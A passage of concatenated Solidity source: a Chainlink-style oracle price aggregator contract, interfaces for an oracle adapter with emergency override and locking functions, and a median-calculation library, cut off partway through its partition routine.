* funds without the owner's intervention.) */ uint256 private constant RESERVE_ROUNDS = 2; uint256 private constant MAX_ORACLE_COUNT = 77; uint32 private constant ROUND_MAX = 2**32 - 1; uint256 private constant VALIDATOR_GAS_LIMIT = 100000; // An error specific to the Aggregator V3 Interface, to prevent possible // confusion around accidentally reading unset values as reported values. string private constant V3_NO_DATA_ERROR = "No data present"; uint32 private reportingRoundId; uint32 internal latestRoundId; mapping(address => OracleStatus) private oracles; mapping(uint32 => Round) internal rounds; mapping(uint32 => RoundDetails) internal details; mapping(address => Requester) internal requesters; address[] private oracleAddresses; Funds private recordedFunds; event AvailableFundsUpdated(uint256 indexed amount); event RoundDetailsUpdated( uint128 indexed paymentAmount, uint32 indexed minSubmissionCount, uint32 indexed maxSubmissionCount, uint32 restartDelay, uint32 timeout // measured in seconds ); event OraclePermissionsUpdated( address indexed oracle, bool indexed whitelisted ); event OracleAdminUpdated(address indexed oracle, address indexed newAdmin); event OracleAdminUpdateRequested( address indexed oracle, address admin, address newAdmin ); event SubmissionReceived( int256 indexed submission, uint32 indexed round, address indexed oracle ); event RequesterPermissionsSet( address indexed requester, bool authorized, uint32 delay ); event ValidatorUpdated(address indexed previous, address indexed current); /** * @notice set up the aggregator with initial configuration * @param _link The address of the LINK token * @param _paymentAmount The amount paid of LINK paid to each oracle per submission, in wei (units of 10⁻¹⁸ LINK) * @param _timeout is the number of seconds after the previous round that are * allowed to lapse before allowing an oracle to skip an unfinished round * @param _validator is an optional contract address for validating * external validation of answers * @param _minSubmissionValue is an immutable check for a lower bound of what * submission values are accepted from an oracle * @param _maxSubmissionValue is an immutable check for an upper bound of what * submission values are accepted from an oracle * @param _decimals represents the number of decimals to offset the answer by * @param _description a short description of what is being reported */ constructor( address _link, uint128 _paymentAmount, uint32 _timeout, address _validator, int256 _minSubmissionValue, int256 _maxSubmissionValue, uint8 _decimals, string memory _description ) public { linkToken = LinkTokenInterface(_link); updateFutureRounds(_paymentAmount, 0, 0, 0, _timeout); setValidator(_validator); minSubmissionValue = _minSubmissionValue; maxSubmissionValue = _maxSubmissionValue; decimals = _decimals; description = _description; rounds[0].updatedAt = uint64(block.timestamp.sub(uint256(_timeout))); } /** * @notice called by oracles when they have witnessed a need to update * @param _roundId is the ID of the round this submission pertains to * @param _submission is the updated data that the oracle is submitting */ function submit(uint256 _roundId, int256 _submission) external { bytes memory error = validateOracleRound(msg.sender, uint32(_roundId)); require( _submission >= minSubmissionValue, "value below minSubmissionValue" ); require( _submission <= maxSubmissionValue, "value above maxSubmissionValue" ); require(error.length == 0, string(error)); oracleInitializeNewRound(uint32(_roundId)); recordSubmission(_submission, uint32(_roundId)); (bool updated, int256 newAnswer) = updateRoundAnswer(uint32(_roundId)); payOracle(uint32(_roundId)); deleteRoundDetails(uint32(_roundId)); if (updated) { validateAnswer(uint32(_roundId), newAnswer); } } /** * @notice called by the owner to remove and add new oracles as well as * update the round related parameters that pertain to total oracle count * @param _removed is the list of addresses for the new Oracles being removed * @param _added is the list of addresses for the new Oracles being added * @param _addedAdmins is the admin addresses for the new respective _added * list. Only this address is allowed to access the respective oracle's funds * @param _minSubmissions is the new minimum submission count for each round * @param _maxSubmissions is the new maximum submission count for each round * @param _restartDelay is the number of rounds an Oracle has to wait before * they can initiate a round */ function changeOracles( address[] calldata _removed, address[] calldata _added, address[] calldata _addedAdmins, uint32 _minSubmissions, uint32 _maxSubmissions, uint32 _restartDelay ) external onlyOwner() { for (uint256 i = 0; i < _removed.length; i++) { removeOracle(_removed[i]); } require( _added.length == _addedAdmins.length, "need same oracle and admin count" ); require( uint256(oracleCount()).add(_added.length) <= MAX_ORACLE_COUNT, "max oracles allowed" ); for (uint256 i = 0; i < _added.length; i++) { addOracle(_added[i], _addedAdmins[i]); } updateFutureRounds( paymentAmount, _minSubmissions, _maxSubmissions, _restartDelay, timeout ); } /** * @notice update the round and payment related parameters for subsequent * rounds * @param _paymentAmount is the payment amount for subsequent rounds * @param _minSubmissions is the new minimum submission count for each round * @param _maxSubmissions is the new maximum submission count for each round * @param _restartDelay is the number of rounds an Oracle has to wait before * they can initiate a round */ function updateFutureRounds( uint128 _paymentAmount, uint32 _minSubmissions, uint32 _maxSubmissions, uint32 _restartDelay, uint32 _timeout ) public onlyOwner() { uint32 oracleNum = oracleCount(); // Save on storage reads require( _maxSubmissions >= _minSubmissions, "max must equal/exceed min" ); require(oracleNum >= _maxSubmissions, "max cannot exceed total"); require( oracleNum == 0 || oracleNum > _restartDelay, "delay cannot exceed total" ); require( recordedFunds.available >= requiredReserve(_paymentAmount), "insufficient funds for payment" ); if (oracleCount() > 0) { require(_minSubmissions > 0, "min must be greater than 0"); } paymentAmount = _paymentAmount; minSubmissionCount = _minSubmissions; maxSubmissionCount = _maxSubmissions; restartDelay = _restartDelay; timeout = _timeout; emit RoundDetailsUpdated( paymentAmount, _minSubmissions, _maxSubmissions, _restartDelay, _timeout ); } /** * @notice the amount of payment yet to be withdrawn by oracles */ function allocatedFunds() external view returns (uint128) { return recordedFunds.allocated; } /** * @notice the amount of future funding available to oracles */ function availableFunds() external view returns (uint128) { return recordedFunds.available; } /** * @notice recalculate the amount of LINK available for payouts */ function updateAvailableFunds() public { Funds memory funds = recordedFunds; uint256 nowAvailable = linkToken.balanceOf(address(this)).sub(funds.allocated); if (funds.available != nowAvailable) { recordedFunds.available = uint128(nowAvailable); emit AvailableFundsUpdated(nowAvailable); } } /** * @notice returns the number of oracles */ function oracleCount() public view returns (uint8) { return uint8(oracleAddresses.length); } /** * @notice returns an array of addresses containing the oracles on contract */ function getOracles() external view returns (address[] memory) { return oracleAddresses; } /** * @notice get the most recently reported answer * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestAnswer() public view virtual override returns (int256) { return rounds[latestRoundId].answer; } /** * @notice get the most recent updated at timestamp * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestTimestamp() public view virtual override returns (uint256) { return rounds[latestRoundId].updatedAt; } /** * @notice get the ID of the last updated round * * @dev #[deprecated] Use latestRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended latestRoundData * instead which includes better verification information. */ function latestRound() public view virtual override returns (uint256) { return latestRoundId; } /** * @notice get past rounds answers * @param _roundId the round number to retrieve the answer for * * @dev #[deprecated] Use getRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended getRoundData * instead which includes better verification information. */ function getAnswer(uint256 _roundId) public view virtual override returns (int256) { if (validRoundId(_roundId)) { return rounds[uint32(_roundId)].answer; } return 0; } /** * @notice get timestamp when an answer was last updated * @param _roundId the round number to retrieve the updated timestamp for * * @dev #[deprecated] Use getRoundData instead. This does not error if no * answer has been reached, it will simply return 0. Either wait to point to * an already answered Aggregator or use the recommended getRoundData * instead which includes better verification information. */ function getTimestamp(uint256 _roundId) public view virtual override returns (uint256) { if (validRoundId(_roundId)) { return rounds[uint32(_roundId)].updatedAt; } return 0; } /** * @notice get data about a round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. * @param _roundId the round ID to retrieve the round data for * @return roundId is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. This is 0 * if the round hasn't been started yet. * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. answeredInRound may be smaller than roundId when the round * timed out. answeredInRound is equal to roundId when the round didn't time out * and was completed regularly. * @dev Note that for in-progress rounds (i.e. rounds that haven't yet received * maxSubmissions) answer and updatedAt may change between queries. */ function getRoundData(uint80 _roundId) public view virtual override returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { Round memory r = rounds[uint32(_roundId)]; require( r.answeredInRound > 0 && validRoundId(_roundId), V3_NO_DATA_ERROR ); return ( _roundId, r.answer, r.startedAt, r.updatedAt, r.answeredInRound ); } /** * @notice get data about the latest round. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. Consumers are encouraged to * use this more fully featured method over the "legacy" latestRound/ * latestAnswer/latestTimestamp functions. Consumers are encouraged to check * that they're receiving fresh data by inspecting the updatedAt and * answeredInRound return values. * @return roundId is the round ID for which data was retrieved * @return answer is the answer for the given round * @return startedAt is the timestamp when the round was started. This is 0 * if the round hasn't been started yet. * @return updatedAt is the timestamp when the round last was updated (i.e. * answer was last computed) * @return answeredInRound is the round ID of the round in which the answer * was computed. answeredInRound may be smaller than roundId when the round * timed out. answeredInRound is equal to roundId when the round didn't time * out and was completed regularly. * @dev Note that for in-progress rounds (i.e. rounds that haven't yet * received maxSubmissions) answer and updatedAt may change between queries. */ function latestRoundData() public view virtual override returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { return getRoundData(latestRoundId); } /** * @notice query the available amount of LINK for an oracle to withdraw */ function withdrawablePayment(address _oracle) external view returns (uint256) { return oracles[_oracle].withdrawable; } /** * @notice transfers the oracle's LINK to another address. Can only be called * by the oracle's admin. * @param _oracle is the oracle whose LINK is transferred * @param _recipient is the address to send the LINK to * @param _amount is the amount of LINK to send */ function withdrawPayment( address _oracle, address _recipient, uint256 _amount ) external { require(oracles[_oracle].admin == msg.sender, "only callable by admin"); // Safe to downcast _amount because the total amount of LINK is less than 2^128. uint128 amount = uint128(_amount); uint128 available = oracles[_oracle].withdrawable; require(available >= amount, "insufficient withdrawable funds"); oracles[_oracle].withdrawable = available.sub(amount); recordedFunds.allocated = recordedFunds.allocated.sub(amount); assert(linkToken.transfer(_recipient, uint256(amount))); } /** * @notice transfers the owner's LINK to another address * @param _recipient is the address to send the LINK to * @param _amount is the amount of LINK to send */ function withdrawFunds(address _recipient, uint256 _amount) external onlyOwner() { uint256 available = uint256(recordedFunds.available); require( available.sub(requiredReserve(paymentAmount)) >= _amount, "insufficient reserve funds" ); require( linkToken.transfer(_recipient, _amount), "token transfer failed" ); updateAvailableFunds(); } /** * @notice get the admin address of an oracle * @param _oracle is the address of the oracle whose admin is being queried */ function getAdmin(address _oracle) external view returns (address) { return oracles[_oracle].admin; } /** * @notice transfer the admin address for an oracle * @param _oracle is the address of the oracle whose admin is being transferred * @param _newAdmin is the new admin address */ function transferAdmin(address _oracle, address _newAdmin) external { require(oracles[_oracle].admin == msg.sender, "only callable by admin"); oracles[_oracle].pendingAdmin = _newAdmin; emit OracleAdminUpdateRequested(_oracle, msg.sender, _newAdmin); } /** * @notice accept the admin address transfer for an oracle * @param _oracle is the address of the oracle whose admin is being transferred */ function acceptAdmin(address _oracle) external { require( oracles[_oracle].pendingAdmin == msg.sender, "only callable by pending admin" ); oracles[_oracle].pendingAdmin = address(0); oracles[_oracle].admin = msg.sender; emit OracleAdminUpdated(_oracle, msg.sender); } /** * @notice allows non-oracles to request a new round */ function requestNewRound() external returns (uint80) { require(requesters[msg.sender].authorized, "not authorized requester"); uint32 current = reportingRoundId; require( rounds[current].updatedAt > 0 || timedOut(current), "prev round must be supersedable" ); uint32 newRoundId = current.add(1); requesterInitializeNewRound(newRoundId); return newRoundId; } /** * @notice allows the owner to specify new non-oracles to start new rounds * @param _requester is the address to set permissions for * @param _authorized is a boolean specifying whether they can start new rounds or not * @param _delay is the number of rounds the requester must wait before starting another round */ function setRequesterPermissions( address _requester, bool _authorized, uint32 _delay ) external onlyOwner() { if (requesters[_requester].authorized == _authorized) return; if (_authorized) { requesters[_requester].authorized = _authorized; requesters[_requester].delay = _delay; } else { delete requesters[_requester]; } emit RequesterPermissionsSet(_requester, _authorized, _delay); } /** * @notice called through LINK's transferAndCall to update available funds * in the same transaction as the funds were transferred to the aggregator * @param _data is mostly ignored. It is checked for length, to be sure * nothing strange is passed in. */ function onTokenTransfer( address, uint256, bytes calldata _data ) external { require(_data.length == 0, "transfer doesn't accept calldata"); updateAvailableFunds(); } /** * @notice a method to provide all current info oracles need. Intended only * only to be callable by oracles. Not for use by contracts to read state. * @param _oracle the address to look up information for. */ function oracleRoundState(address _oracle, uint32 _queriedRoundId) external view returns ( bool _eligibleToSubmit, uint32 _roundId, int256 _latestSubmission, uint64 _startedAt, uint64 _timeout, uint128 _availableFunds, uint8 _oracleCount, uint128 _paymentAmount ) { require(msg.sender == tx.origin, "off-chain reading only"); if (_queriedRoundId > 0) { Round storage round = rounds[_queriedRoundId]; RoundDetails storage details = details[_queriedRoundId]; return ( eligibleForSpecificRound(_oracle, _queriedRoundId), _queriedRoundId, oracles[_oracle].latestSubmission, round.startedAt, details.timeout, recordedFunds.available, oracleCount(), (round.startedAt > 0 ? details.paymentAmount : paymentAmount) ); } else { return oracleRoundStateSuggestRound(_oracle); } } /** * @notice method to update the address which does external data validation. * @param _newValidator designates the address of the new validation contract. */ function setValidator(address _newValidator) public onlyOwner() { address previous = address(validator); if (previous != _newValidator) { validator = AggregatorValidatorInterface(_newValidator); emit ValidatorUpdated(previous, _newValidator); } } /** * Private */ function initializeNewRound(uint32 _roundId) private { updateTimedOutRoundInfo(_roundId.sub(1)); reportingRoundId = _roundId; RoundDetails memory nextDetails = RoundDetails( new int256[](0), maxSubmissionCount, minSubmissionCount, timeout, paymentAmount ); details[_roundId] = nextDetails; rounds[_roundId].startedAt = uint64(block.timestamp); emit NewRound(_roundId, msg.sender, rounds[_roundId].startedAt); } function oracleInitializeNewRound(uint32 _roundId) private { if (!newRound(_roundId)) return; uint256 lastStarted = oracles[msg.sender].lastStartedRound; // cache storage reads if (_roundId <= lastStarted + restartDelay && lastStarted != 0) return; initializeNewRound(_roundId); oracles[msg.sender].lastStartedRound = _roundId; } function requesterInitializeNewRound(uint32 _roundId) private { if (!newRound(_roundId)) return; uint256 lastStarted = requesters[msg.sender].lastStartedRound; // cache storage reads require( _roundId > lastStarted + requesters[msg.sender].delay || lastStarted == 0, "must delay requests" ); initializeNewRound(_roundId); requesters[msg.sender].lastStartedRound = _roundId; } function updateTimedOutRoundInfo(uint32 _roundId) private { if (!timedOut(_roundId)) return; uint32 prevId = _roundId.sub(1); rounds[_roundId].answer = rounds[prevId].answer; rounds[_roundId].answeredInRound = rounds[prevId].answeredInRound; rounds[_roundId].updatedAt = uint64(block.timestamp); delete details[_roundId]; } function eligibleForSpecificRound(address _oracle, uint32 _queriedRoundId) private view returns (bool _eligible) { if (rounds[_queriedRoundId].startedAt > 0) { return acceptingSubmissions(_queriedRoundId) && validateOracleRound(_oracle, _queriedRoundId).length == 0; } else { return delayed(_oracle, _queriedRoundId) && validateOracleRound(_oracle, _queriedRoundId).length == 0; } } function oracleRoundStateSuggestRound(address _oracle) private view returns ( bool _eligibleToSubmit, uint32 _roundId, int256 _latestSubmission, uint64 _startedAt, uint64 _timeout, uint128 _availableFunds, uint8 _oracleCount, uint128 _paymentAmount ) { Round storage round = rounds[0]; OracleStatus storage oracle = oracles[_oracle]; bool shouldSupersede = oracle.lastReportedRound == reportingRoundId || !acceptingSubmissions(reportingRoundId); // Instead of nudging oracles to submit to the next round, the inclusion of // the shouldSupersede bool in the if condition pushes them towards // submitting in a currently open round. if (supersedable(reportingRoundId) && shouldSupersede) { _roundId = reportingRoundId.add(1); round = rounds[_roundId]; _paymentAmount = paymentAmount; _eligibleToSubmit = delayed(_oracle, _roundId); } else { _roundId = reportingRoundId; round = rounds[_roundId]; _paymentAmount = details[_roundId].paymentAmount; _eligibleToSubmit = acceptingSubmissions(_roundId); } if (validateOracleRound(_oracle, _roundId).length != 0) { _eligibleToSubmit = false; } return ( _eligibleToSubmit, _roundId, oracle.latestSubmission, round.startedAt, details[_roundId].timeout, recordedFunds.available, oracleCount(), _paymentAmount ); } function updateRoundAnswer(uint32 _roundId) internal returns (bool, int256) { if ( details[_roundId].submissions.length < details[_roundId].minSubmissions ) { return (false, 0); } int256 newAnswer = Median.calculateInplace(details[_roundId].submissions); rounds[_roundId].answer = newAnswer; rounds[_roundId].updatedAt = uint64(block.timestamp); rounds[_roundId].answeredInRound = _roundId; latestRoundId = _roundId; emit AnswerUpdated(newAnswer, _roundId, now); return (true, newAnswer); } function validateAnswer(uint32 _roundId, int256 _newAnswer) private { AggregatorValidatorInterface av = validator; // cache storage reads if (address(av) == address(0)) return; uint32 prevRound = _roundId.sub(1); uint32 prevAnswerRoundId = rounds[prevRound].answeredInRound; int256 prevRoundAnswer = rounds[prevRound].answer; // We do not want the validator to ever prevent reporting, so we limit its // gas usage and catch any errors that may arise. try av.validate{gas: VALIDATOR_GAS_LIMIT}( prevAnswerRoundId, prevRoundAnswer, _roundId, _newAnswer ) {} catch {} } function payOracle(uint32 _roundId) private { uint128 payment = details[_roundId].paymentAmount; Funds memory funds = recordedFunds; funds.available = funds.available.sub(payment); funds.allocated = funds.allocated.add(payment); recordedFunds = funds; oracles[msg.sender].withdrawable = oracles[msg.sender].withdrawable.add( payment ); emit AvailableFundsUpdated(funds.available); } function recordSubmission(int256 _submission, uint32 _roundId) private { require( acceptingSubmissions(_roundId), "round not accepting submissions" ); details[_roundId].submissions.push(_submission); oracles[msg.sender].lastReportedRound = _roundId; oracles[msg.sender].latestSubmission = _submission; emit SubmissionReceived(_submission, _roundId, msg.sender); } function deleteRoundDetails(uint32 _roundId) private { if ( details[_roundId].submissions.length < details[_roundId].maxSubmissions ) return; delete details[_roundId]; } function timedOut(uint32 _roundId) private view returns (bool) { uint64 startedAt = rounds[_roundId].startedAt; uint32 roundTimeout = details[_roundId].timeout; return startedAt > 0 && roundTimeout > 0 && startedAt.add(roundTimeout) < block.timestamp; } function getStartingRound(address _oracle) private view returns (uint32) { uint32 currentRound = reportingRoundId; if (currentRound != 0 && currentRound == oracles[_oracle].endingRound) { return currentRound; } return currentRound.add(1); } function previousAndCurrentUnanswered(uint32 _roundId, uint32 _rrId) private view returns (bool) { return _roundId.add(1) == _rrId && rounds[_rrId].updatedAt == 0; } function requiredReserve(uint256 payment) private view returns (uint256) { return payment.mul(oracleCount()).mul(RESERVE_ROUNDS); } function addOracle(address _oracle, address _admin) private { require(!oracleEnabled(_oracle), "oracle already enabled"); require(_admin != address(0), "cannot set admin to 0"); require( oracles[_oracle].admin == address(0) || oracles[_oracle].admin == _admin, "owner cannot overwrite admin" ); oracles[_oracle].startingRound = getStartingRound(_oracle); oracles[_oracle].endingRound = ROUND_MAX; oracles[_oracle].index = uint16(oracleAddresses.length); oracleAddresses.push(_oracle); oracles[_oracle].admin = _admin; emit OraclePermissionsUpdated(_oracle, true); emit OracleAdminUpdated(_oracle, _admin); } function removeOracle(address _oracle) private { require(oracleEnabled(_oracle), "oracle not enabled"); oracles[_oracle].endingRound = reportingRoundId.add(1); address tail = oracleAddresses[uint256(oracleCount()).sub(1)]; uint16 index = oracles[_oracle].index; oracles[tail].index = index; delete oracles[_oracle].index; oracleAddresses[index] = tail; oracleAddresses.pop(); emit OraclePermissionsUpdated(_oracle, false); } function validateOracleRound(address _oracle, uint32 _roundId) private view returns (bytes memory) { // cache storage reads uint32 startingRound = oracles[_oracle].startingRound; uint32 rrId = reportingRoundId; if (startingRound == 0) return "not enabled oracle"; if (startingRound > _roundId) return "not yet enabled oracle"; if (oracles[_oracle].endingRound < _roundId) return "no longer allowed oracle"; if (oracles[_oracle].lastReportedRound >= _roundId) return "cannot report on previous rounds"; if ( _roundId != rrId && _roundId != rrId.add(1) && !previousAndCurrentUnanswered(_roundId, rrId) ) return "invalid round to report"; if (_roundId != 1 && !supersedable(_roundId.sub(1))) return "previous round not supersedable"; } function supersedable(uint32 _roundId) private view returns (bool) { return rounds[_roundId].updatedAt > 0 || timedOut(_roundId); } function oracleEnabled(address _oracle) private view returns (bool) { return oracles[_oracle].endingRound == ROUND_MAX; } function acceptingSubmissions(uint32 _roundId) private view returns (bool) { return details[_roundId].maxSubmissions != 0; } function delayed(address _oracle, uint32 _roundId) private view returns (bool) { uint256 lastStarted = oracles[_oracle].lastStartedRound; return _roundId > lastStarted + restartDelay || lastStarted == 0; } function newRound(uint32 _roundId) private view returns (bool) { return _roundId == reportingRoundId.add(1); } function validRoundId(uint256 _roundId) private view returns (bool) { return _roundId <= ROUND_MAX; } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; /** * @notice Interface for securely interacting with Chainlink aggregators */ interface IOracleAdapter { struct Value { uint256 value; uint256 periodEnd; } /// @notice Event fired when asset's pricing source (aggregator) is updated event AssetSourceUpdated(address indexed asset, address indexed source); /// @notice Event fired when the TVL aggregator address is updated event TvlSourceUpdated(address indexed source); /** * @notice Set the TVL source (aggregator) * @param source The new TVL source (aggregator) */ function emergencySetTvlSource(address source) external; /** * @notice Set an asset's price source (aggregator) * @param asset The asset to change the source of * @param source The new source (aggregator) */ function emergencySetAssetSource(address asset, address source) external; /** * @notice Set multiple assets' pricing sources * @param assets An array of assets (tokens) * @param sources An array of price sources (aggregators) */ function emergencySetAssetSources( address[] memory assets, address[] memory sources ) external; /** * @notice Retrieve the asset's price from its pricing source * @param asset The asset address * @return The price of the asset */ function getAssetPrice(address asset) external view returns (uint256); /** * @notice Retrieve the deployed TVL from the TVL aggregator * @return The TVL */ function getTvl() external view returns (uint256); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {IOracleAdapter} from "./IOracleAdapter.sol"; interface IOverrideOracle is IOracleAdapter { /** * @notice Event fired when asset value is set manually * @param asset The asset that is being overridden * @param value The new value used for the override * @param period The number of blocks the override will be active for * @param periodEnd The block on which the override ends */ event AssetValueSet( address asset, uint256 value, uint256 period, uint256 periodEnd ); /** * @notice Event fired when manually submitted asset value is * invalidated, allowing usual Chainlink pricing. */ event AssetValueUnset(address asset); /** * @notice Event fired when deployed TVL is set manually * @param value The new value used for the override * @param period The number of blocks the override will be active for * @param periodEnd The block on which the override ends */ event TvlSet(uint256 value, uint256 period, uint256 periodEnd); /** * @notice Event fired when manually submitted TVL is * invalidated, allowing usual Chainlink pricing. */ event TvlUnset(); /** * @notice Manually override the asset pricing source with a value * @param asset The asset that is being overriden * @param value asset value to return instead of from Chainlink * @param period length of time, in number of blocks, to use manual override */ function emergencySetAssetValue( address asset, uint256 value, uint256 period ) external; /** * @notice Revoke manually set value, allowing usual Chainlink pricing * @param asset address of asset to price */ function emergencyUnsetAssetValue(address asset) external; /** * @notice Manually override the TVL source with a value * @param value TVL to return instead of from Chainlink * @param period length of time, in number of blocks, to use manual override */ function emergencySetTvl(uint256 value, uint256 period) external; /// @notice Revoke manually set value, allowing usual Chainlink pricing function emergencyUnsetTvl() external; /// @notice Check if TVL has active manual override function hasTvlOverride() external view returns (bool); /** * @notice Check if asset has active manual override * @param asset address of the asset * @return `true` if manual override is active */ function hasAssetOverride(address asset) external view returns (bool); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {IOracleAdapter} from "./IOracleAdapter.sol"; /** * @notice For an `IOracleAdapter` that can be locked and unlocked */ interface ILockingOracle is IOracleAdapter { /// @notice Event fired when using the default lock event DefaultLocked(address locker, uint256 defaultPeriod, uint256 lockEnd); /// @notice Event fired when using a specified lock period event Locked(address locker, uint256 activePeriod, uint256 lockEnd); /// @notice Event fired when changing the default locking period event DefaultLockPeriodChanged(uint256 newPeriod); /// @notice Event fired when unlocking the adapter event Unlocked(); /// @notice Event fired when updating the threshold for stale data event ChainlinkStalePeriodUpdated(uint256 period); /// @notice Block price/value retrieval for the default locking duration function lock() external; /** * @notice Block price/value retrieval for the specified duration. * @param period number of blocks to block retrieving values */ function lockFor(uint256 period) external; /** * @notice Unblock price/value retrieval. Should only be callable * by the Emergency Safe. */ function emergencyUnlock() external; /** * @notice Set the length of time before values can be retrieved. * @param newPeriod number of blocks before values can be retrieved */ function setDefaultLockPeriod(uint256 newPeriod) external; /** * @notice Set the length of time before an agg value is considered stale. * @param chainlinkStalePeriod_ the length of time in seconds */ function setChainlinkStalePeriod(uint256 chainlinkStalePeriod_) external; /** * @notice Get the length of time, in number of blocks, before values * can be retrieved. */ function defaultLockPeriod() external returns (uint256 period); /// @notice Check if the adapter is blocked from retrieving values. function isLocked() external view returns (bool); } pragma solidity ^0.6.0; import "./vendor/SafeMath.sol"; import "./SignedSafeMath.sol"; library Median { using SignedSafeMath for int256; int256 constant INT_MAX = 2**255-1; /** * @notice Returns the sorted middle, or the average of the two middle indexed items if the * array has an even number of elements. * @dev The list passed as an argument isn't modified. * @dev This algorithm has expected runtime O(n), but for adversarially chosen inputs * the runtime is O(n^2). * @param list The list of elements to compare */ function calculate(int256[] memory list) internal pure returns (int256) { return calculateInplace(copy(list)); } /** * @notice See documentation for function calculate. * @dev The list passed as an argument may be permuted. */ function calculateInplace(int256[] memory list) internal pure returns (int256) { require(0 < list.length, "list must not be empty"); uint256 len = list.length; uint256 middleIndex = len / 2; if (len % 2 == 0) { int256 median1; int256 median2; (median1, median2) = quickselectTwo(list, 0, len - 1, middleIndex - 1, middleIndex); return SignedSafeMath.avg(median1, median2); } else { return quickselect(list, 0, len - 1, middleIndex); } } /** * @notice Maximum length of list that shortSelectTwo can handle */ uint256 constant SHORTSELECTTWO_MAX_LENGTH = 7; /** * @notice Select the k1-th and k2-th element from list of length at most 7 * @dev Uses an optimal sorting network */ function shortSelectTwo( int256[] memory list, uint256 lo, uint256 hi, uint256 k1, uint256 k2 ) private pure returns (int256 k1th, int256 k2th) { // Uses an optimal sorting network (https://en.wikipedia.org/wiki/Sorting_network) // for lists of length 7. Network layout is taken from // http://jgamble.ripco.net/cgi-bin/nw.cgi?inputs=7&algorithm=hibbard&output=svg uint256 len = hi + 1 - lo; int256 x0 = list[lo + 0]; int256 x1 = 1 < len ? list[lo + 1] : INT_MAX; int256 x2 = 2 < len ? list[lo + 2] : INT_MAX; int256 x3 = 3 < len ? list[lo + 3] : INT_MAX; int256 x4 = 4 < len ? list[lo + 4] : INT_MAX; int256 x5 = 5 < len ? list[lo + 5] : INT_MAX; int256 x6 = 6 < len ? list[lo + 6] : INT_MAX; if (x0 > x1) {(x0, x1) = (x1, x0);} if (x2 > x3) {(x2, x3) = (x3, x2);} if (x4 > x5) {(x4, x5) = (x5, x4);} if (x0 > x2) {(x0, x2) = (x2, x0);} if (x1 > x3) {(x1, x3) = (x3, x1);} if (x4 > x6) {(x4, x6) = (x6, x4);} if (x1 > x2) {(x1, x2) = (x2, x1);} if (x5 > x6) {(x5, x6) = (x6, x5);} if (x0 > x4) {(x0, x4) = (x4, x0);} if (x1 > x5) {(x1, x5) = (x5, x1);} if (x2 > x6) {(x2, x6) = (x6, x2);} if (x1 > x4) {(x1, x4) = (x4, x1);} if (x3 > x6) {(x3, x6) = (x6, x3);} if (x2 > x4) {(x2, x4) = (x4, x2);} if (x3 > x5) {(x3, x5) = (x5, x3);} if (x3 > x4) {(x3, x4) = (x4, x3);} uint256 index1 = k1 - lo; if (index1 == 0) {k1th = x0;} else if (index1 == 1) {k1th = x1;} else if (index1 == 2) {k1th = x2;} else if (index1 == 3) {k1th = x3;} else if (index1 == 4) {k1th = x4;} else if (index1 == 5) {k1th = x5;} else if (index1 == 6) {k1th = x6;} else {revert("k1 out of bounds");} uint256 index2 = k2 - lo; if (k1 == k2) {return (k1th, k1th);} else if (index2 == 0) {return (k1th, x0);} else if (index2 == 1) {return (k1th, x1);} else if (index2 == 2) {return (k1th, x2);} else if (index2 == 3) {return (k1th, x3);} else if (index2 == 4) {return (k1th, x4);} else if (index2 == 5) {return (k1th, x5);} else if (index2 == 6) {return (k1th, x6);} else {revert("k2 out of bounds");} } /** * @notice Selects the k-th ranked element from list, looking only at indices between lo and hi * (inclusive). Modifies list in-place. */ function quickselect(int256[] memory list, uint256 lo, uint256 hi, uint256 k) private pure returns (int256 kth) { require(lo <= k); require(k <= hi); while (lo < hi) { if (hi - lo < SHORTSELECTTWO_MAX_LENGTH) { int256 ignore; (kth, ignore) = shortSelectTwo(list, lo, hi, k, k); return kth; } uint256 pivotIndex = partition(list, lo, hi); if (k <= pivotIndex) { // since pivotIndex < (original hi passed to partition), // termination is guaranteed in this case hi = pivotIndex; } else { // since (original lo passed to partition) <= pivotIndex, // termination is guaranteed in this case lo = pivotIndex + 1; } } return list[lo]; } /** * @notice Selects the k1-th and k2-th ranked elements from list, looking only at indices between * lo and hi (inclusive). Modifies list in-place. */ function quickselectTwo( int256[] memory list, uint256 lo, uint256 hi, uint256 k1, uint256 k2 ) internal // for testing pure returns (int256 k1th, int256 k2th) { require(k1 < k2); require(lo <= k1 && k1 <= hi); require(lo <= k2 && k2 <= hi); while (true) { if (hi - lo < SHORTSELECTTWO_MAX_LENGTH) { return shortSelectTwo(list, lo, hi, k1, k2); } uint256 pivotIdx = partition(list, lo, hi); if (k2 <= pivotIdx) { hi = pivotIdx; } else if (pivotIdx < k1) { lo = pivotIdx + 1; } else { assert(k1 <= pivotIdx && pivotIdx < k2); k1th = quickselect(list, lo, pivotIdx, k1); k2th = quickselect(list, pivotIdx + 1, hi, k2); return (k1th, k2th); } } } /** * @notice Partitions list in-place using Hoare's partitioning scheme. * Only elements of list between indices lo and hi (inclusive) will be modified. * Returns an index i, such that: * - lo <= i < hi * - forall j in [lo, i]. list[j] <= list[i] * - forall j in [i, hi]. list[i] <= list[j] */ function partition(int256[] memory list, uint256 lo, uint256 hi) private pure returns (uint256) { // We don't care about overflow of the addition, because it would require a list // larger than any feasible computer's memory. int256 pivot = list[(lo + hi) / 2]; lo -= 1; // this can underflow. that's intentional. hi += 1; while (true) { do { lo += 1; } while (list[lo] < pivot); do { hi -= 1; } while (list[hi] > pivot); if (lo < hi) { 